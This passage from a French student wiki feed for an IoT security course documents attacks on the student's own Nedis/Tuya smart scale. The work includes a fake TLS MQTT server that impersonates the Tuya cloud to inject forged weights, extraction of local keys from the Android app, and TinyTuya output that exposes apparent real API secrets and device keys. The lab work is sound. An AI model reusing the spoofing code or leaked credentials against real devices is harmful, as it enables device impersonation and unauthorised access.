                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs situé dans /data/data/com.nedis.smartlife sur la VM android une clé local qui permettrai de chiffrer le message pour que Nedis l'accepte.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
 emulator64_x86_64_arm64:/data/data/com.nedis.smartlife/shared_prefs # grep -r &amp;quot;localKey&amp;quot;&lt;br /&gt;
&lt;br /&gt;
./sig_mesh_storage.xml:    &amp;lt;string name=&amp;quot;sig_mesheu176237y8062605m7Ddzpr3a6d803edeb314f364c55d2caab540918&amp;quot;&amp;gt;[{&amp;amp;quot;appkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;code&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;endTime&amp;amp;quot;:0,&amp;amp;quot;ivIndex&amp;amp;quot;:0,&amp;amp;quot;key&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;localKey&amp;amp;quot;:&amp;amp;quot;674d29fb978a1705&amp;amp;quot;,&amp;amp;quot;meshId&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;meshKey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;meshkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;name&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;netWorkkey&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;password&amp;amp;quot;:&amp;amp;quot;fa1667ca872e46d4&amp;amp;quot;,&amp;amp;quot;pv&amp;amp;quot;:&amp;amp;quot;2.1&amp;amp;quot;,&amp;amp;quot;resptime&amp;amp;quot;:0,&amp;amp;quot;share&amp;amp;quot;:false,&amp;amp;quot;startTime&amp;amp;quot;:0,&amp;amp;quot;tempShare&amp;amp;quot;:false}]&amp;lt;/string&amp;gt; &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je vais apprendre plus tard que cette clé est une clé qui permet de sécuriser l'échange Bluetooth entre la balance et le téléphone lors de la première connexion. Mais avant de le savoir, j'ai tenté d'améliorer le faux serveur avec cette clé.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je pense que pour faire fonctionner cette méthode, il faut absolument que je trouve la clé qui crypte le message pour que Nedis l'accepte quand il le reçoit&lt;br /&gt;
&lt;br /&gt;
J'ai donc cherché dans cette direction et j'ai découvert deux choses. &lt;br /&gt;
&lt;br /&gt;
Premièrement, TinyTuya, une API Python pour les appareils intelligents Tuya (génial, Nedis utilise Tuya) WiFi utilisant une connexion directe au réseau local (LAN) ou le cloud (API TuyaCloud). TinyTuya permet entre autre de récupérer la fameuse clé.&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai découvert la plateforme IOT de Tuya qui permet, en connectant son application de téléphone sur le site, de jouer avec ses appareils Tuya pour une connexion avec Home Assisant ou encore ... TinyTuya !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: J'ai du changer d'application et cette application ne tape plus sur la même adresse. Elle tape sur XX-eu.lifeaiot.com il a donc fallu refaire une redirection vers notre serveur pour ces nouvelles adresses.&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: j'ai la clé. Je parle plus de TinyTuya dans la prochaine partie car même avec cette clé, ce faux serveur ne marche pas. Je vais donc tenter d'autres pistes.&lt;br /&gt;
&lt;br /&gt;
== TinyTuya ==&lt;br /&gt;
Dans cette partie, nous allons tenter de connecter notre balance à notre faux serveur en utilisant l'utilitaire TinyTuya. Le but est de récupérer le poids de l'utilisateur de la balance lorsqu'il se pèse.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il a fallu connecter l'appli à la platforme IOT de Tuya. L'application &amp;quot;Nedis Smartlife&amp;quot; de Nedis, qui utilise bien la même base que l'application Smartlife de Tuya (oui oui c'est le même nom…) ne veux pas se connecter à la plateforme pour une raison inexplicable (et au vu du nombre de forum qui parle du sujet, je ne suis pas le seul).&lt;br /&gt;
&lt;br /&gt;
J'ai donc du connecter ma balance sur l'appli Smartlife qui a bien voulu se connecter à la plateforme.&lt;br /&gt;
&lt;br /&gt;
Cela me permet de récupérer avec TinyTuya les périphériques&lt;br /&gt;
&lt;br /&gt;
Et je vais maintenant tenter d'expliquer le fonctionnement de TinyTuya étape par étape…&lt;br /&gt;
&lt;br /&gt;
Déjà pourquoi connecter l'application avec la plateforme IOT de Tuya --&amp;gt; Cela permet à l'appli de récupérer les appareils connectés de mon application, elle va générer un ID et une clé.&lt;br /&gt;
&lt;br /&gt;
Et comment faire pour que TinyTuya est accès aux appareils --&amp;gt; grâce à la commande &amp;lt;code&amp;gt;python -m tinytuya wizard&amp;lt;/code&amp;gt; qui va prendre l'ID et la clé pour récupérer les appareils. &lt;br /&gt;
&lt;br /&gt;
Ensuite la commande suivante va permettre à TinyTuya de détecter nos appareils qui sont effectivement connecté à notre réseau :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya devices &lt;br /&gt;
TinyTuya (Tuya device scanner) [1.17.4] Loaded devices.json - 1 devices: Device Listing [     &lt;br /&gt;
{         &lt;br /&gt;
&amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,         &lt;br /&gt;
&amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,         &lt;br /&gt;
&amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,         &lt;br /&gt;
&amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,         &lt;br /&gt;
&amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,         &lt;br /&gt;
&amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,         &lt;br /&gt;
&amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,         &lt;br /&gt;
&amp;quot;biz_type&amp;quot;: 18,         &lt;br /&gt;
&amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,         &lt;br /&gt;
&amp;quot;sub&amp;quot;: false,         &lt;br /&gt;
&amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,         &lt;br /&gt;
&amp;quot;mapping&amp;quot;: {}     } ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et la, magie, on obtient la clé de la balance, on va pouvoir enfin récupérer le poids de notre utilisateur grâce à ce code python qui écoute la balance:&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import tinytuya&lt;br /&gt;
&lt;br /&gt;
DEVICE_ID = '84853100a4e57c162d4c'&lt;br /&gt;
IP_ADDRESS = '172.16.10.105'&lt;br /&gt;
LOCAL_KEY = 'V[z^Gr|qekh]9z_&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
# Connexion à l'appareil&lt;br /&gt;
d = tinytuya.Device(DEVICE_ID, IP_ADDRESS, LOCAL_KEY)&lt;br /&gt;
&lt;br /&gt;
d.set_version(3.3)&lt;br /&gt;
&lt;br /&gt;
# Récupérer le statut&lt;br /&gt;
data = d.status() &lt;br /&gt;
print(&amp;quot;Statut complet :&amp;quot;, data)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Évidemment cela ne fonctionne pas. Et pourquoi ? Et bien si l'on regarde dans le bloc &amp;lt;code&amp;gt;python3 -m tinytuya devices TinyTuya&amp;lt;/code&amp;gt; on observe que le champs mapping est vide. Ce champs est censé afficher toute les données que TinyTuya est censé pouvoir récupérer … et il est vide …&lt;br /&gt;
&lt;br /&gt;
Soit je suis à l'origine de ce problème, soit TinyTuya ne permet de changer nous ampoules connecté en rouge si la balance affiche que notre objectif de poids est dépassé …&lt;br /&gt;
&lt;br /&gt;
Affaire à suivre.&lt;br /&gt;
&lt;br /&gt;
TODO : ne marche pas en local ? tenter d'enlever la redirection&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya wizard -force&lt;br /&gt;
TinyTuya Setup Wizard [1.17.4]&lt;br /&gt;
&lt;br /&gt;
    Existing settings:&lt;br /&gt;
        API Key=g5wufknjhcwqkkpsrgug &lt;br /&gt;
        Secret=edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
        DeviceID=84853100a4e57c162d4c&lt;br /&gt;
        Region=eu&lt;br /&gt;
&lt;br /&gt;
    Use existing credentials (Y/n): &lt;br /&gt;
&lt;br /&gt;
Download DP Name mappings? (Y/n): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Device Listing&lt;br /&gt;
&lt;br /&gt;
[&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;D\u00e9tecteur de fum\u00e9e&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;86730270483fda3155d0&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;r@fAdR'PW~0O`v5@&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;48:3f:da:31:55:d0&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;86730270483fda3155d0&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;1000716370419B&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;ywbj&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Smoke detector&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;inwnovped8h5aoaw&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFIDS20WT&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/651af99cad24017128e3dc2322461ae5.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;smoke_sensor_status&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;alarm&amp;quot;,&lt;br /&gt;
                        &amp;quot;normal&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;14&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;battery_state&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;low&amp;quot;,&lt;br /&gt;
                        &amp;quot;middle&amp;quot;,&lt;br /&gt;
                        &amp;quot;high&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {}&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving list to devices.json&lt;br /&gt;
    2 registered devices saved&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving raw TuyaPlatform response to tuya-raw.json&lt;br /&gt;
&lt;br /&gt;
Poll local devices? (Y/n): &lt;br /&gt;
&lt;br /&gt;
Scanning local network for Tuya devices...&lt;br /&gt;
Scan network 172.16.10.0/24 from interface eth0? ([Y]es/[n]o/[a]ll yes): &lt;br /&gt;
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n&lt;br /&gt;
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n&lt;br /&gt;
    0 local devices discovered                                   &lt;br /&gt;
&lt;br /&gt;
Polling local devices...&lt;br /&gt;
    [Détecteur de fumée       ] Error: No IP found&lt;br /&gt;
    [Pèse pas que des personne] Error: No IP found&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving device snapshot data to snapshot.json&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Done.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11161</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11161"/>
		<updated>2026-01-13T13:12:04Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* TinyTuya */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
